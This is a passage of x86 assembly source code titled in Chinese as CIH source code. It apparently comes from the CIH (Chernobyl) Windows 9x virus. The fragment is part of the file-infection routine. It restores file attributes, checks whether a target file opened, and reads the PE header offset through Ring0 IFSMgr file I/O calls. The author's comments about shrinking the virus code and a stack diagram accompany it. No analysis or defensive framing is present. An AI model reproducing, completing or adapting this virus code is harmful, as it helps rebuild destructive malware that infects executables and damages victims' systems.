CIH源代码

　　pop ecx

　　pushf

　　test cl, 01h
jz IsOpenFileOK

　　; *************************************
; * Restore Attributes of the File *
; *************************************

　　mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO

　　; *************************************
; * Is Open File OK !? *
; *************************************

　　IsOpenFileOK:
popf

　　jc DisableOnBusy

　　; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************

　　push esi ; Push FileNameBuffer Address to Stack

　　pushf ; Now CF = 0, Push Flag to Stack

　　add esi, DataBuffer-@7 ; mov esi, offset DataBuffer

　　; ***************************
; * Get OffsetToNewHeader *
; ***************************

　　xor eax, eax
mov ah, 0d6h

　　; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax

　　push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO

　　; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************